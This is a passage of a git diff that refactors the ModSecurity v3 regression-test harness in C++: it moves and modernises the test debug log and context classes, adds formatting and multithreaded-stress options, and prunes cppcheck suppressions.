"modsecurity/debug_log.h" +#include "src/utils/regex.h" + +namespace modsecurity_test { + + void CustomDebugLog::write(int level, const std::string &message) { + m_log << "[" << level << "] " << message << std::endl; + } + + void CustomDebugLog::write(int level, const std::string &id, + const std::string &uri, const std::string &msg) { + std::string msgf = "[" + std::to_string(level) + "] " + msg; + msgf = "[" + id + "] [" + uri + "] " + msgf; + m_log << msgf << std::endl; + } + + bool CustomDebugLog::contains(const std::string &pattern) const { + modsecurity::Utils::Regex re(pattern); + std::string s = m_log.str(); + return modsecurity::Utils::regex_search(s, re); + } + + std::string CustomDebugLog::log_messages() const { + return m_log.str(); + } + + int CustomDebugLog::getDebugLogLevel() { + return 9; + } + +} // namespace modsecurity_test diff --git a/test/regression/custom_debug_log.h b/test/common/custom_debug_log.h similarity index 90% rename from test/regression/custom_debug_log.h rename to test/common/custom_debug_log.h index f1868acd6e..92857d1006 100644 --- a/test/regression/custom_debug_log.h +++ b/test/common/custom_debug_log.h @@ -26,13 +26,12 @@ namespace modsecurity_test { class CustomDebugLog : public modsecurity::debug_log::DebugLog { public: CustomDebugLog *new_instance(); - ~CustomDebugLog(); void write(int level, const std::string& message) override; void write(int level, const std::string &id, const std::string &uri, const std::string &msg) override; - bool const contains(const std::string& pattern) const; - std::string const log_messages() const; + bool contains(const std::string& pattern) const; + std::string log_messages() const; std::string error_log_messages(); int getDebugLogLevel() override; diff --git a/test/common/modsecurity_test.cc b/test/common/modsecurity_test.cc index 5b63580f66..23eed49e58 100644 --- a/test/common/modsecurity_test.cc +++ b/test/common/modsecurity_test.cc @@ -46,7 +46,7 @@ std::string ModSecurityTest::header() { } template -bool ModSecurityTest::load_test_json(std::string file) { +bool ModSecurityTest::load_test_json(const std::string &file) { char errbuf[1024]; yajl_val node; @@ -68,22 +68,21 @@ bool ModSecurityTest::load_test_json(std::string file) { return false; } - size_t num_tests = node->u.array.len; - for ( int i = 0; i < num_tests; i++ ) { - yajl_val obj = node->u.array.values[i]; - - T *u = T::from_yajl_node(obj); + if (m_format) { + auto u = T::from_yajl_node(node); u->filename = file; - if (this->count(u->filename + ":" + u->name) == 0) { - std::vector *vector = new std::vector; - vector->push_back(u); - std::string filename(u->filename + ":" + u->name); - std::pair*> a(filename, vector); - this->insert(a); - } else { - std::vector *vec = this->at(u->filename + ":" + u->name); - vec->push_back(u); + (*this)[file].push_back(std::move(u)); + } else { + size_t num_tests = node->u.array.len; + for ( int i = 0; i < num_tests; i++ ) { + yajl_val obj = node->u.array.values[i]; + + auto u = T::from_yajl_node(obj); + u->filename = file; + + const auto key = u->filename + ":" + u->name; + (*this)[key].push_back(std::move(u)); } } @@ -94,13 +93,13 @@ bool ModSecurityTest::load_test_json(std::string file) { template -std::pair>* -ModSecurityTest::load_tests(std::string path) { +void +ModSecurityTest::load_tests(const std::string &path) { DIR *dir; - struct dirent *ent; + const struct dirent *ent; struct stat buffer; - if ((dir = opendir(path.c_str())) == NULL) { + if ((dir = opendir(path.c_str())) == nullptr) { /* if target is a file, use it as a single test. */ if (stat(path.c_str(), &buffer) == 0) { if (load_test_json(path) == false) { @@ -108,10 +107,10 @@ ModSecurityTest::load_tests(std::string path) { std::cout << std::endl; } } - return NULL; + return; } - while ((ent = readdir(dir)) != NULL) { + while ((ent = readdir(dir)) != nullptr) { std::string filename = ent->d_name; std::string json = ".json"; if (filename.size() < json.size() @@ -124,16 +123,15 @@ ModSecurityTest::load_tests(std::string path) { } } closedir(dir); - - return NULL; } template -std::pair>* ModSecurityTest::load_tests() { - return load_tests(this->target); +void ModSecurityTest::load_tests() { + load_tests(this->target); } + template void ModSecurityTest::cmd_options(int argc, char **argv) { int i = 1; @@ -145,6 +143,17 @@ void ModSecurityTest::cmd_options(int argc, char **argv) { i++; m_count_all = true; } + if (argc > i && strcmp(argv[i], "mtstress") == 0) { + i++; + m_test_multithreaded = true; + } + if (argc > i && strcmp(argv[i], "format") == 0) { + i++; + m_format = true; + } + if (std::getenv("UPDATE_CONTENT_LENGTH")) { + m_update_content_length = true; + } if (std::getenv("AUTOMAKE_TESTS")) { m_automake_output = true; } diff --git a/test/common/modsecurity_test.h b/test/common/modsecurity_test.h index 83e06ab8fe..cda07e50b1 100644 --- a/test/common/modsecurity_test.h +++ b/test/common/modsecurity_test.h @@ -17,7 +17,7 @@ #include #include #include -#include +#include #ifndef TEST_COMMON_MODSECURITY_TEST_H_ #define TEST_COMMON_MODSECURITY_TEST_H_ @@ -29,25 +29,25 @@ extern std::string default_test_path; namespace modsecurity_test { template class ModSecurityTest : - public std::unordered_map *> { + public std::map>> { public: - ModSecurityTest() - : m_test_number(0), - m_automake_output(false), - m_count_all(false) { } + ModSecurityTest() = default; std::string header(); - void cmd_options(int, char **); - std::pair>* load_tests(); - std::pair>* load_tests(std::string path); - bool load_test_json(std::string); + void cmd_options(int argc, char** argv); + void load_tests(); + void load_tests(const std::string &path); + bool load_test_json(const std::string &file); std::string target; - bool verbose = false; - bool color = false; - int m_test_number; - bool m_automake_output; - bool m_count_all; + bool verbose{false}; + bool color{false}; + int m_test_number{0}; + bool m_automake_output{false}; + bool m_count_all{false}; + bool m_test_multithreaded{false}; + bool m_format{false}; + bool m_update_content_length{false}; }; } // namespace modsecurity_test diff --git a/test/common/modsecurity_test_context.h b/test/common/modsecurity_test_context.h new file mode 100644 index 0000000000..7d71dfcbc2 --- /dev/null +++ b/test/common/modsecurity_test_context.h @@ -0,0 +1,44 @@ +#ifndef TEST_COMMON_MODSECURITY_TEST_CONTEXT_H_ +#define TEST_COMMON_MODSECURITY_TEST_CONTEXT_H_ + +#include "modsecurity/modsecurity.h" +#include "modsecurity/rules_set.h" +#include "modsecurity/transaction.h" +#include "custom_debug_log.h" + +#include + +namespace modsecurity_test { + + class ModSecurityTestContext { + public: + explicit ModSecurityTestContext(const std::string &connector) + : m_modsec_rules(new CustomDebugLog) { + m_modsec.setConnectorInformation(connector); + m_modsec.setServerLogCb(logCb); + } + ~ModSecurityTestContext() = default; + ModSecurityTestContext(const ModSecurityTestContext &) = delete; + ModSecurityTestContext &operator=(const ModSecurityTestContext &) = delete; + + modsecurity::Transaction create_transaction() { + return modsecurity::Transaction(&m_modsec, + &m_modsec_rules, + &m_server_log); + } + + modsecurity::ModSecurity m_modsec; + modsecurity::RulesSet m_modsec_rules; + std::stringstream m_server_log; + + private: + static void logCb(void *data, const void *msgv) { + auto msg = reinterpret_cast(msgv); + auto ss = reinterpret_cast(data); + *ss << msg << std::endl; + } + }; + +} // namespace modsecurity_test + +#endif // TEST_COMMON_MODSECURITY_TEST_CONTEXT_H_ diff --git a/test/common/modsecurity_test_results.h b/test/common/modsecurity_test_results.h index a786fd19f8..3c03b29275 100644 --- a/test/common/modsecurity_test_results.h +++ b/test/common/modsecurity_test_results.h @@ -14,7 +14,6 @@ */ #include -#include #include #include @@ -26,7 +25,7 @@ namespace modsecurity_test { template class ModSecurityTestResults : public std::vector { public: std::string log_raw_debug_log; - int status; + int status = 0; std::string location; }; diff --git a/test/cppcheck_suppressions.txt b/test/cppcheck_suppressions.txt index 821a3d1090..8b2f2da182 100644 --- a/test/cppcheck_suppressions.txt +++ b/test/cppcheck_suppressions.txt @@ -1,22 +1,14 @@ +normalCheckLevelMaxBranches:* + // // Ignore libinjection related stuff. // -*:others/libinjection/src/libinjection_html5.c -*:others/libinjection/src/libinjection_sqli.c -*:others/libinjection/src/libinjection_xss.c -*:others/libinjection/src/reader.c -*:others/libinjection/src/sqli_cli.c -*:others/libinjection/src/testdriver.c -*:others/libinjection/src/test_speed_sqli.c -*:others/libinjection/src/test_speed_xss.c - +*:others/libinjection/src/* // // Lets ignore mbedtls. // -*:others/mbedtls/base64.c -*:others/mbedtls/md5.c -*:others/mbedtls/sha1.c +*:others/mbedtls/* // @@ -25,59 +17,28 @@ shiftNegative:src/utils/msc_tree.cc *:src/utils/acmp.cc *:src/utils/msc_tree.cc -invalidScanfArgType_int:src/rules_set_properties.cc:101 -invalidScanfArgType_int:src/rules_set_properties.cc:102 // // ModSecurity v3 code... // -unmatchedSuppression:src/utils/geo_lookup.cc:82 -useInitializationList:src/utils/shared_files.h:87 -unmatchedSuppression:src/utils/msc_tree.cc -functionStatic:headers/modsecurity/transaction.h:408 -duplicateBranch:src/audit_log/audit_log.cc:226 -unreadVariable:src/request_body_processor/multipart.cc:435 -stlcstrParam:src/audit_log/writer/parallel.cc:145 -functionStatic:src/engine/lua.h:70 -functionStatic:src/engine/lua.h:71 -functionConst:src/utils/geo_lookup.h:49 -useInitializationList:src/operators/rbl.h:69 -constStatement:test/common/modsecurity_test.cc:82 -danglingTemporaryLifetime:src/modsecurity.cc:206 -functionStatic:src/operators/geo_lookup.h:35 -duplicateBreak:src/operators/validate_utf8_encoding.cc -syntaxError:src/transaction.cc:62 -noConstructor:src/variables/variable.h:152 -duplicateBranch:src/request_body_processor/multipart.cc:93 -danglingTempReference:src/modsecurity.cc:206 -knownConditionTrueFalse:src/operators/validate_url_encoding.cc:77 -knownConditionTrueFalse:src/operators/verify_svnr.cc:87 -rethrowNoCurrentException:headers/modsecurity/transaction.h:313 -rethrowNoCurrentException:src/rule_with_actions.cc:127 -ctunullpointer:src/rule_with_actions.cc:244 -ctunullpointer:src/rule_with_operator.cc:135 -ctunullpointer:src/rule_with_operator.cc:95 -passedByValue:test/common/modsecurity_test.cc:49 -passedByValue:test/common/modsecurity_test.cc:98 -unreadVariable:src/rule_with_operator.cc:219 - -uninitvar:src/operators/verify_cpf.cc:77 -uninitvar:src/operators/verify_svnr.cc:67 - -functionConst:src/collection/backend/lmdb.h:86 -unusedLabel:src/collection/backend/lmdb.cc:297 - variableScope:src/operators/rx.cc variableScope:src/operators/rx_global.cc noExplicitConstructor:seclang-parser.hh constParameter:seclang-parser.hh accessMoved:seclang-parser.hh +returnTempReference:seclang-parser.hh +duplInheritedMember:seclang-parser.hh +constVariableReference:seclang-parser.hh +uninitMemberVar:seclang-parser.hh + unreadVariable:src/operators/rx.cc unreadVariable:src/operators/rx_global.cc +noExplicitConstructor:src/collection/backend/collection_data.h +stlIfStrFind:src/collection/backend/collection_data.cc unusedFunction missingIncludeSystem @@ -94,11 +55,10 @@ cstyleCast functionStatic shadowFunction -constVariable stlcstrConstructor stlcstrStream uselessCallsSubstr // Examples -memleak:examples/reading_logs_via_rule_message/reading_logs_via_rule_message.h:147 memleak:examples/using_bodies_in_chunks/simple_request.cc + diff --git a/test/custom-test-driver b/test/custom-test-driver index aa490ee690..d9b0d0ff6f 100755 --- a/test/custom-test-driver +++ b/test/custom-test-driver @@ -42,9 +42,9 @@ print_usage () { cat < #include +#ifndef WIN32 #include +#else +#include +#endif #include #include @@ -139,7 +143,7 @@ int main(int argc, char** argv) { read_bytes = read(STDIN_FILENO, buf, 128); std::string currentString = std::string(read_bytes, 128); - std::string s = currentString; + const std::string& s = currentString; #if 0 std::string z = lastString; #endif diff --git a/test/modsecurity-regression-ip-list.txt b/test/modsecurity-regression-ip-list.txt new file mode 100644 index 0000000000..3a5eb37e69 --- /dev/null +++ b/test/modsecurity-regression-ip-list.txt @@ -0,0 +1,2 @@ +127.0.0.1 +8.8.4.4 diff --git a/test/modsecurity-regression-rules.txt b/test/modsecurity-regression-rules.txt new file mode 100644 index 0000000000..e9358b8dcd --- /dev/null +++ b/test/modsecurity-regression-rules.txt @@ -0,0 +1 @@ +SecRule REQUEST_FILENAME "@pmFromFile https://raw.githubusercontent.com/owasp-modsecurity/ModSecurity/refs/heads/v3/master/test/modsecurity-regression-ip-list.txt" "id:'123',phase:2,log,pass,t:none" diff --git a/test/optimization/optimization.cc b/test/optimization/optimization.cc index 5443065b0b..9affd29095 100644 --- a/test/optimization/optimization.cc +++ b/test/optimization/optimization.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -54,7 +54,7 @@ int main(int argc, char **argv) { } - for (auto &x : files) { + for (const auto &x : files) { std::cout << "Loading file: " << x << std::endl; if (modsecRules->loadFromUri(x.c_str()) < 0) { std::cout << "Not able to load the rules" << std::endl; @@ -87,7 +87,7 @@ int main(int argc, char **argv) { continue; } - if (dynamic_cast(z.get()) != nullptr) { + if (dynamic_cast(z.get())) { std::string op = "Unconditional"; if (operators.count(op) > 0) { operators[op] = 1 + operators[op]; @@ -96,10 +96,8 @@ int main(int argc, char **argv) { } } - if (dynamic_cast(z.get()) != nullptr) { - auto *rwo = dynamic_cast(z.get()); - - std::string op = rwo->getOperatorName(); + if (const auto *rwo = dynamic_cast(z.get())) { + const auto &op = rwo->getOperatorName(); if (operators.count(op) > 0) { operators[op] = 1 + operators[op]; } else { @@ -114,8 +112,8 @@ int main(int argc, char **argv) { } std::cout << " Operators" << std::endl; - for (auto &z : operators) { - auto &s = z.second; + for (const auto &z : operators) { + const auto &s = z.second; std::cout << " " << std::left << std::setw(20) << z.first; std::cout << std::right << std::setw(4) << s; std::cout << std::endl; diff --git a/test/regression/custom_debug_log.cc b/test/regression/custom_debug_log.cc deleted file mode 100644 index 1e7de0e02a..0000000000 --- a/test/regression/custom_debug_log.cc +++ /dev/null @@ -1,55 +0,0 @@ -/* - * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) - * - * You may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * If any of the files related to licensing are missing or if you have any - * other questions related to licensing please contact Trustwave Holdings, Inc. - * directly using the email address security@modsecurity.org. - * - */ - -#include "test/regression/custom_debug_log.h" - -#include -#include - -#include "modsecurity/debug_log.h" -#include "src/utils/regex.h" - -namespace modsecurity_test { - -CustomDebugLog::~CustomDebugLog() { } - -void CustomDebugLog::write(int level, const std::string& message) { - m_log << "[" << level << "] " << message << std::endl; -} - -void CustomDebugLog::write(int level, const std::string &id, - const std::string &uri, const std::string &msg) { - std::string msgf = "[" + std::to_string(level) + "] " + msg; - msgf = "[" + id + "] [" + uri + "] " + msgf; - m_log << msgf << std::endl; -} - -bool const CustomDebugLog::contains(const std::string& pattern) const { - modsecurity::Utils::Regex re(pattern); - std::string s = m_log.str(); - return modsecurity::Utils::regex_search(s, re); -} - -std::string const CustomDebugLog::log_messages() const { - return m_log.str(); -} - - -int CustomDebugLog::getDebugLogLevel() { - return 9; -} - - -} // namespace modsecurity_test diff --git a/test/regression/regression.cc b/test/regression/regression.cc index b4c9dca39d..5b1ca514e8 100644 --- a/test/regression/regression.cc +++ b/test/regression/regression.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -15,13 +15,18 @@ #include +#ifndef WIN32 #include +#else +#include +#endif #include #include #include #include #include +#include #include "modsecurity/rules_set.h" #include "modsecurity/modsecurity.h" @@ -29,13 +34,14 @@ #include "test/common/colors.h" #include "test/regression/regression_test.h" #include "test/common/modsecurity_test_results.h" -#include "test/regression/custom_debug_log.h" +#include "test/common/modsecurity_test_context.h" #include "src/utils/regex.h" using modsecurity_test::CustomDebugLog; using modsecurity_test::ModSecurityTest; using modsecurity_test::ModSecurityTestResults; using modsecurity_test::RegressionTest; +using modsecurity_test::RegressionTests; using modsecurity_test::RegressionTestResult; using modsecurity::Utils::regex_search; @@ -60,13 +66,11 @@ bool contains(const std::string &s, const std::string &pattern) { void clearAuditLog(const std::string &filename) { if (!filename.empty()) { - std::ifstream file; - file.open(filename.c_str(), std::ifstream::out | std::ifstream::trunc); + std::ofstream file{filename.c_str(), std::ofstream::out | std::ofstream::trunc}; if (!file.is_open() || file.fail()) { std::cout << std::endl << "Failed to clear previous contents of audit log: " \ << filename << std::endl; } - file.close(); } } std::string getAuditLogContent(const std::string &filename) { @@ -95,40 +99,28 @@ void actions(ModSecurityTestResults *r, if (it.status != 0) { r->status = it.status; } - if (it.url != NULL) { + if (it.url != nullptr) { r->location.append(it.url); free(it.url); - it.url = NULL; + it.url = nullptr; } - if (it.log != NULL) { + if (it.log != nullptr) { *serverLog << it.log; free(it.log); - it.log = NULL; + it.log = nullptr; } } } -void logCb(void *data, const void *msgv) { - const char *msg = reinterpret_cast(msgv); - std::stringstream *ss = (std::stringstream *) data; - *ss << msg << std::endl; -} - - -void perform_unit_test(ModSecurityTest *test, - std::vector *tests, - ModSecurityTestResults *res, int *count) { - - for (RegressionTest *t : *tests) { - CustomDebugLog *debug_log = new CustomDebugLog(); - modsecurity::ModSecurity *modsec = NULL; - modsecurity::RulesSet *modsec_rules = NULL; - modsecurity::Transaction *modsec_transaction = NULL; +void perform_unit_test(const ModSecurityTest &test, + const std::vector> &tests, + ModSecurityTestResults *res, int *count) +{ + for (auto &t : tests) { ModSecurityTestResults r; - std::stringstream serverLog; RegressionTestResult *testRes = new RegressionTestResult(); - testRes->test = t; + testRes->test = t.get(); r.status = 200; (*count)++; @@ -141,7 +133,7 @@ void perform_unit_test(ModSecurityTest *test, filename = t->filename; } - if (!test->m_automake_output) { + if (!test.m_automake_output) { std::cout << std::setw(3) << std::right << std::to_string(*count) << " "; std::cout << std::setw(50) << std::left << filename; @@ -149,7 +141,7 @@ void perform_unit_test(ModSecurityTest *test, } if (t->enabled == 0) { - if (test->m_automake_output) { + if (test.m_automake_output) { std::cout << ":test-result: SKIP" << filename \ << ":" << t->name << std::endl; } else { @@ -167,11 +159,8 @@ void perform_unit_test(ModSecurityTest *test, unlink("./modsec-shared-collections-lock"); #endif - modsec = new modsecurity::ModSecurity(); - modsec->setConnectorInformation("ModSecurity-regression v0.0.1-alpha" \ + modsecurity_test::ModSecurityTestContext context("ModSecurity-regression v0.0.1-alpha" \ " (ModSecurity regression test utility)"); - modsec->setServerLogCb(logCb); - modsec_rules = new modsecurity::RulesSet(debug_log); bool found = true; if (t->resource.empty() == false) { @@ -186,7 +175,7 @@ void perform_unit_test(ModSecurityTest *test, testRes->reason << KCYN << "compiled with support " << std::endl; testRes->reason << KCYN << "to: " << t->resource << std::endl; testRes->reason << RESET << std::endl; - if (test->m_automake_output) { + if (test.m_automake_output) { std::cout << ":test-result: SKIP " << filename \ << ":" << t->name << std::endl; } else { @@ -194,22 +183,18 @@ void perform_unit_test(ModSecurityTest *test, } res->push_back(testRes); - delete modsec_transaction; - delete modsec_rules; - delete modsec; - continue; } - modsec_rules->load("SecDebugLogLevel 9"); - if (modsec_rules->load(t->rules.c_str(), filename) < 0) { + context.m_modsec_rules.load("SecDebugLogLevel 9"); + if (context.m_modsec_rules.load(t->rules.c_str(), filename) < 0) { /* Parser error */ if (t->parser_error.empty() == true) { /* * Not expecting any error, thus return the error to * the user. */ - if (test->m_automake_output) { + if (test.m_automake_output) { std::cout << ":test-result: FAIL " << filename \ << ":" << t->name << ":" << *count << std::endl; } else { @@ -217,24 +202,20 @@ void perform_unit_test(ModSecurityTest *test, } testRes->reason << KRED << "parse failed." << RESET \ << std::endl; - testRes->reason << modsec_rules->getParserError() \ + testRes->reason << context.m_modsec_rules.getParserError() \ << std::endl; testRes->passed = false; res->push_back(testRes); - delete modsec_transaction; - delete modsec_rules; - delete modsec; - continue; } Regex re(t->parser_error); SMatch match; - std::string s = modsec_rules->getParserError(); + const auto s = context.m_modsec_rules.getParserError(); if (regex_search(s, &match, re)) { - if (test->m_automake_output) { + if (test.m_automake_output) { std::cout << ":test-result: PASS " << filename \ << ":" << t->name << std::endl; } else { @@ -245,14 +226,10 @@ void perform_unit_test(ModSecurityTest *test, testRes->passed = true; res->push_back(testRes); - delete modsec_transaction; - delete modsec_rules; - delete modsec; - continue; } else { /* Parser error was expected, but with a different content */ - if (test->m_automake_output) { + if (test.m_automake_output) { std::cout << ":test-result: FAIL " << filename \ << ":" << t->name << ":" << *count << std::endl; } else { @@ -269,16 +246,12 @@ void perform_unit_test(ModSecurityTest *test, testRes->passed = false; res->push_back(testRes); - delete modsec_transaction; - delete modsec_rules; - delete modsec; - continue; } } else { /* Parser error was expected but never happened */ if (t->parser_error.empty() == false) { - if (test->m_automake_output) { + if (test.m_automake_output) { std::cout << ":test-result: FAIL " << filename \ << ":" << t->name << ":" << *count << std::endl; } else { @@ -291,192 +264,147 @@ void perform_unit_test(ModSecurityTest *test, testRes->passed = false; res->push_back(testRes); - delete modsec_transaction; - delete modsec_rules; - delete modsec; - continue; } } - modsec_transaction = new modsecurity::Transaction(modsec, modsec_rules, - &serverLog); + auto modsec_transaction = context.create_transaction(); - clearAuditLog(modsec_transaction->m_rules->m_auditLog->m_path1); + if (t->hostname != "") { + modsec_transaction.setRequestHostName(t->hostname); + } - modsec_transaction->processConnection(t->clientIp.c_str(), + clearAuditLog(modsec_transaction.m_rules->m_auditLog->m_path1); + + modsec_transaction.processConnection(t->clientIp.c_str(), t->clientPort, t->serverIp.c_str(), t->serverPort); - actions(&r, modsec_transaction, &serverLog); -#if 0 - if (r.status != 200) { - goto end; - } -#endif + actions(&r, &modsec_transaction, &context.m_server_log); - modsec_transaction->processURI(t->uri.c_str(), t->method.c_str(), + modsec_transaction.processURI(t->uri.c_str(), t->method.c_str(), t->httpVersion.c_str()); - actions(&r, modsec_transaction, &serverLog); -#if 0 - if (r.status != 200) { - goto end; - } -#endif + actions(&r, &modsec_transaction, &context.m_server_log); - for (std::pair headers : - t->request_headers) { - modsec_transaction->addRequestHeader(headers.first.c_str(), - headers.second.c_str()); + for (const auto &[name, value] : t->request_headers) { + modsec_transaction.addRequestHeader(name.c_str(), + value.c_str()); } - modsec_transaction->processRequestHeaders(); - actions(&r, modsec_transaction, &serverLog); -#if 0 - if (r.status != 200) { - goto end; - } -#endif + modsec_transaction.processRequestHeaders(); + actions(&r, &modsec_transaction, &context.m_server_log); - modsec_transaction->appendRequestBody( + modsec_transaction.appendRequestBody( (unsigned char *)t->request_body.c_str(), t->request_body.size()); - modsec_transaction->processRequestBody(); - actions(&r, modsec_transaction, &serverLog); -#if 0 - if (r.status != 200) { - goto end; - } -#endif + modsec_transaction.processRequestBody(); + actions(&r, &modsec_transaction, &context.m_server_log); - for (std::pair headers : - t->response_headers) { - modsec_transaction->addResponseHeader(headers.first.c_str(), - headers.second.c_str()); + for (const auto &[name, value] : t->response_headers) { + modsec_transaction.addResponseHeader(name.c_str(), + value.c_str()); } - modsec_transaction->processResponseHeaders(r.status, + modsec_transaction.processResponseHeaders(r.status, t->response_protocol); - actions(&r, modsec_transaction, &serverLog); -#if 0 - if (r.status != 200) { - goto end; - } -#endif + actions(&r, &modsec_transaction, &context.m_server_log); - modsec_transaction->appendResponseBody( + modsec_transaction.appendResponseBody( (unsigned char *)t->response_body.c_str(), t->response_body.size()); - modsec_transaction->processResponseBody(); - actions(&r, modsec_transaction, &serverLog); -#if 0 - if (r.status != 200) { - goto end; - } -#endif + modsec_transaction.processResponseBody(); + actions(&r, &modsec_transaction, &context.m_server_log); -#if 0 -end: -#endif - modsec_transaction->processLogging(); + modsec_transaction.processLogging(); - CustomDebugLog *d = reinterpret_cast - (modsec_rules->m_debugLog); + const auto *d = static_cast(context.m_modsec_rules.m_debugLog); - if (d != NULL) { - if (!d->contains(t->debug_log)) { - if (test->m_automake_output) { - std::cout << ":test-result: FAIL " << filename \ - << ":" << t->name << ":" << *count << std::endl; - } else { - std::cout << KRED << "failed!" << RESET << std::endl; - } - testRes->reason << "Debug log was not matching the " \ - << "expected results." << std::endl; - testRes->reason << KWHT << "Expecting: " << RESET \ - << t->debug_log + ""; - testRes->passed = false; - } else if (r.status != t->http_code) { - if (test->m_automake_output) { - std::cout << ":test-result: FAIL " << filename \ - << ":" << t->name << ":" << *count << std::endl; - } else { - std::cout << KRED << "failed!" << RESET << std::endl; - } - testRes->reason << "HTTP code mismatch. expecting: " + \ - std::to_string(t->http_code) + \ - " got: " + std::to_string(r.status) + "\n"; - testRes->passed = false; - } else if (!contains(serverLog.str(), t->error_log)) { - if (test->m_automake_output) { - std::cout << ":test-result: FAIL " << filename \ - << ":" << t->name << std::endl; - } else { - std::cout << KRED << "failed!" << RESET << std::endl; - } - testRes->reason << "Error log was not matching the " \ - << "expected results." << std::endl; - testRes->reason << KWHT << "Expecting: " << RESET \ - << t->error_log + ""; - testRes->passed = false; - } else if (!t->audit_log.empty() - && !contains(getAuditLogContent(modsec_transaction->m_rules->m_auditLog->m_path1), t->audit_log)) { - if (test->m_automake_output) { - std::cout << ":test-result: FAIL " << filename \ - << ":" << t->name << ":" << *count << std::endl; - } else { - std::cout << KRED << "failed!" << RESET << std::endl; - } - testRes->reason << "Audit log was not matching the " \ - << "expected results." << std::endl; - testRes->reason << KWHT << "Expecting: " << RESET \ - << t->audit_log + ""; - testRes->passed = false; + if (!d->contains(t->debug_log)) { + if (test.m_automake_output) { + std::cout << ":test-result: FAIL " << filename \ + << ":" << t->name << ":" << *count << std::endl; } else { - if (test->m_automake_output) { - std::cout << ":test-result: PASS " << filename \ - << ":" << t->name << std::endl; - } else { - std::cout << KGRN << "passed!" << RESET << std::endl; - } - testRes->passed = true; - goto after_debug_log; + std::cout << KRED << "failed!" << RESET << std::endl; } - - if (testRes->passed == false) { - testRes->reason << std::endl; - testRes->reason << KWHT << "Debug log:" << RESET << std::endl; - testRes->reason << d->log_messages() << std::endl; - testRes->reason << KWHT << "Error log:" << RESET << std::endl; - testRes->reason << serverLog.str() << std::endl; - testRes->reason << KWHT << "Audit log:" << RESET << std::endl; - testRes->reason << getAuditLogContent(modsec_transaction->m_rules->m_auditLog->m_path1) << std::endl; + testRes->reason << "Debug log was not matching the " \ + << "expected results." << std::endl; + testRes->reason << KWHT << "Expecting: " << RESET + << t->debug_log + ""; + testRes->passed = false; + } else if (r.status != t->http_code) { + if (test.m_automake_output) { + std::cout << ":test-result: FAIL " << filename \ + << ":" << t->name << ":" << *count << std::endl; + } else { + std::cout << KRED << "failed!" << RESET << std::endl; + } + testRes->reason << "HTTP code mismatch. expecting: " + + std::to_string(t->http_code) + + " got: " + std::to_string(r.status) + "\n"; + testRes->passed = false; + } else if (!contains(context.m_server_log.str(), t->error_log)) { + if (test.m_automake_output) { + std::cout << ":test-result: FAIL " << filename \ + << ":" << t->name << std::endl; + } else { + std::cout << KRED << "failed!" << RESET << std::endl; + } + testRes->reason << "Error log was not matching the " \ + << "expected results." << std::endl; + testRes->reason << KWHT << "Expecting: " << RESET \ + << t->error_log + ""; + testRes->passed = false; + } else if (!t->audit_log.empty() && !contains(getAuditLogContent(modsec_transaction.m_rules->m_auditLog->m_path1), t->audit_log)) { + if (test.m_automake_output) { + std::cout << ":test-result: FAIL " << filename \ + << ":" << t->name << ":" << *count << std::endl; + } else { + std::cout << KRED << "failed!" << RESET << std::endl; + } + testRes->reason << "Audit log was not matching the " \ + << "expected results." << std::endl; + testRes->reason << KWHT << "Expecting: " << RESET \ + << t->audit_log + ""; + testRes->passed = false; + } else { + if (test.m_automake_output) { + std::cout << ":test-result: PASS " << filename \ + << ":" << t->name << std::endl; + } else { + std::cout << KGRN << "passed!" << RESET << std::endl; } + testRes->passed = true; } - -after_debug_log: - if (d != NULL) { - r.log_raw_debug_log = d->log_messages(); + if (testRes->passed == false) { + testRes->reason << std::endl; + testRes->reason << KWHT << "Debug log:" << RESET << std::endl; + testRes->reason << d->log_messages() << std::endl; + testRes->reason << KWHT << "Error log:" << RESET << std::endl; + testRes->reason << context.m_server_log.str() << std::endl; + testRes->reason << KWHT << "Audit log:" << RESET << std::endl; + testRes->reason << getAuditLogContent(modsec_transaction.m_rules->m_auditLog->m_path1) << std::endl; } - delete modsec_transaction; - delete modsec_rules; - delete modsec; - /* delete debug_log; */ + r.log_raw_debug_log = d->log_messages(); res->push_back(testRes); } } - -int main(int argc, char **argv) { +int main(int argc, char **argv) +{ ModSecurityTest test; std::string ver(MODSECURITY_VERSION); - std::string envvar("MODSECURITY=ModSecurity " + ver + " regression tests"); + std::string envvar("ModSecurity " + ver + " regression tests"); + +#ifndef WIN32 + setenv("MODSECURITY", envvar.c_str(), 1); +#else + _putenv_s("MODSECURITY", envvar.c_str()); +#endif - putenv(strdup(envvar.c_str())); #ifndef NO_LOGS int test_number = 0; #endif @@ -484,15 +412,12 @@ int main(int argc, char **argv) { #if defined(WITH_GEOIP) or defined(WITH_MAXMIND) resources.push_back("geoip-or-maxmind"); #endif - #if defined(WITH_MAXMIND) resources.push_back("maxmind"); #endif - #if defined(WITH_GEOIP) resources.push_back("geoip"); #endif - #ifdef WITH_CURL resources.push_back("curl"); #endif @@ -502,12 +427,45 @@ int main(int argc, char **argv) { #ifdef WITH_LUA resources.push_back("lua"); #endif +#ifdef WITH_LIBXML2 + resources.push_back("libxml2"); +#endif #ifdef NO_LOGS std::cout << "Test utility cannot work without logging support." \ << std::endl; + return 0; #else test.cmd_options(argc, argv); + + if (test.m_format) { +#ifdef WITH_YAJL + std::cout << "start formatting test case JSON files" << std::endl; + ModSecurityTest test2; + test2.cmd_options(argc, argv); + test2.load_tests(); + for (const auto &[name, tests] : test2) { + std::ofstream ofs{name}; + if (!ofs.is_open()) { + std::cerr << "cannot open " << name << " for writing." << std::endl; + return 1; + } + if (test2.m_update_content_length) { + tests[0]->update_content_lengths(); + } + ofs << tests[0]->toJSON(); + ofs.close(); + std::cout << "written formatted JSON to " << name << std::endl; + } + std::cout << "finished formatting files." << std::endl; + return 0; +#else + std::cout << "Test utility cannot format test case JSON files without being built with YAJL." \ + << std::endl; + return 1; +#endif 